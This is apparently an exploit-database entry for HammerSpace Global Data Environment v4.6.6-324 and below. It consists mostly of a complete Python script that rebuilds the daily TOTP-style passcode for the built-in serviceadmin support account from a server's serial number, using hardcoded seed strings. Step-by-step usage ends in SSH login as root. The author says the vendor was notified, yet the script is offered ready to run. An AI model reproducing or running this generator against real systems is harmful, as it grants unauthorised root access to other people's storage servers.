Share
## https://sploitus.com/exploit?id=PACKETSTORM:172255
# Affected Product: HammerSpace Global Data Environment / Global File System -  
# https://hammerspace.com/product  
#   
# Affected Versions: v4.6.6-324 and below with default installation/configuration.  
#   
# Vendor Notified: Yes, sometime between: 08/2022 and 10/2022, confirmed 2023-03-21 there is a fix in  
# an upcoming release  
#   
# Description:  
#  
# A utility that can generate the TOTP passcode used to sign In as the support service  
# account user for HammerSpace GFS default installations. Both the OVA and ISO are effected.  
#   
# To utilize:  
#   
# 1. Attempt SSH login to a HammerSpace Anvil or Data Server and make note of the System S/N  
# 2. Generate the password of the day for the service admin account:  
# ./hsps-passgen.py —serials SERIALNUMBER  
# 3. SSH as the service admin account to the server and specify the outputted TOTP passcode  
# 4. Enjoy root  
#   
#   
#!/usr/bin/env python3  
import argparse, getpass, os, random, string, sys  
from datetime import datetime  
from random import Random  
  
#make it python3 compatible thanks for changing random guys!  
class HSRandom(Random):  
def seed(self, seed):  
if sys.version_info[0] == 3:  
return super(HSRandom,self).seed(seed,version=1)  
else:  
return super(HSRandom,self).seed(seed)  
def choice(self, seq):  
if sys.version_info[0] == 3:  
"""Choose a random element from a non-empty sequence."""  
return seq[int(super(HSRandom,self).random() * len(seq))] # raises IndexError if seq is empty  
else:  
return super(HSRandom, self).choice(seq)  
  
VERSION = "hspc-passgen v4.3.2"  
USAGE_DESC = "No help."  
PARSER = argparse.ArgumentParser(prog="hspc-passgen", description="Generates time of day passcode for serviceadmin account used by Hammerspace")  
PARSER.add_argument("-V", "--version", action="store_true", help="Prints version")  
PARSER.add_argument("--debug", action="store_true", help="Debug Output")  
PARSER.add_argument("--pwtype", type=int, default=3, choices=[2,3], help="Password type")  
PARSER.add_argument("--datecode", type=str, default=datetime.now().strftime("%F"), help="Date Code")  
PARSER.add_argument("--serials", type=str, nargs="+", required=True, help="Reported serial number(s) from ssh: serviceadmin@host")  
ARGS = PARSER.parse_args()  
  
def exc_handler(exception_type, exception, traceback, debug_hook=sys.excepthook):  
if ARGS.debug:  
debug_hook(exception_type, exception, traceback)  
else:  
print("%s: %s" % (exception_type.__name__, exception))  
sys.exit(1)  
  
  
sys.excepthook = exc_handler  
  
def generate_password_v2(seed_str, _, length=8):  
"""Generate a simple password seeded with supplied text"""  
serial = seed_str[-5:].lower()  
collapsed = ("").join(disambiguate(x) for x in serial)  
chars = string.digits  
seed = "<~^~^~^Mr.Oftal_P^~^~^~>" + collapsed  
hs_random = HSRandom(seed)  
return ("").join(hs_random.choice(chars) for i in range(length))  
  
  
def generate_password_v3(seed_str, datecode, length=10):  
"""Generate a stronger password seeded with supplied text"""  
serial = seed_str[-8:].lower()  
collapsed = ("").join(disambiguate_v3(x) for x in serial)  
chars = string.digits  
seed = datecode + "z97eoW8tVn3daG833DN83wY8" + collapsed  
hs_random = HSRandom(seed)  
return ("").join(hs_random.choice(chars) for i in range(length))  
  
  
def generate_password(seed_str, datecode, pwtype=3):  
return globals()[("generate_password_v" + str(pwtype))](seed_str, datecode)  
  
  
def disambiguate(char):  
"""Substitute ambiguous characters with non-ambiguous ones"""  
char = str(char)  
if char in ("1", "I", "!", "|"):  
dis = "l"  
elif char in ("D", "Q", "O", "0"):  
dis = "o"  
elif char in ("3", "B", "8", "6"):  
dis = "b"  
elif char in ("5", "S", "$"):  
dis = "s"  
elif char in ("A", "4"):  
dis = "a"  
elif char in ("V", "U"):  
dis = "u"  
elif char in ("M", "W"):  
dis = "m"  
elif char in ("C", "("):  
dis = "c"  
else:  
dis = char  
return dis  
  
  
def disambiguate_v3(char):  
"""Substitute ambiguous characters with non-ambiguous ones"""  
char = str(char)  
if char in ("L", "1", "I"):  
dis = "l"  
elif char in ("Q", "O", "0"):  
dis = "o"  
elif char in ("B", "8"):  
dis = "b"  
elif char in ("5", "S"):  
dis = "s"  
elif char in ("V", "U"):  
dis = "u"  
else:  
dis = char  
return dis  
  
def main():  
if ARGS.version:  
print(VERSION)  
return 0  
if ARGS.pwtype not in (2, 3):  
print("\nERROR: Invalid parameters.\n")  
PARSER.print_help()  
return 1  
if ARGS.serials is None or len(ARGS.serials) == 0:  
print("\nERROR: Invalid parameters.\n")  
PARSER.print_help()  
return 1  
print("SERIAL - PASSCODE")  
for serial in ARGS.serials:  
print(f"{serial} - {generate_password(serial, datecode=ARGS.datecode, pwtype=ARGS.pwtype)}")  
  
if __name__ == "__main__":  
sys.exit(main())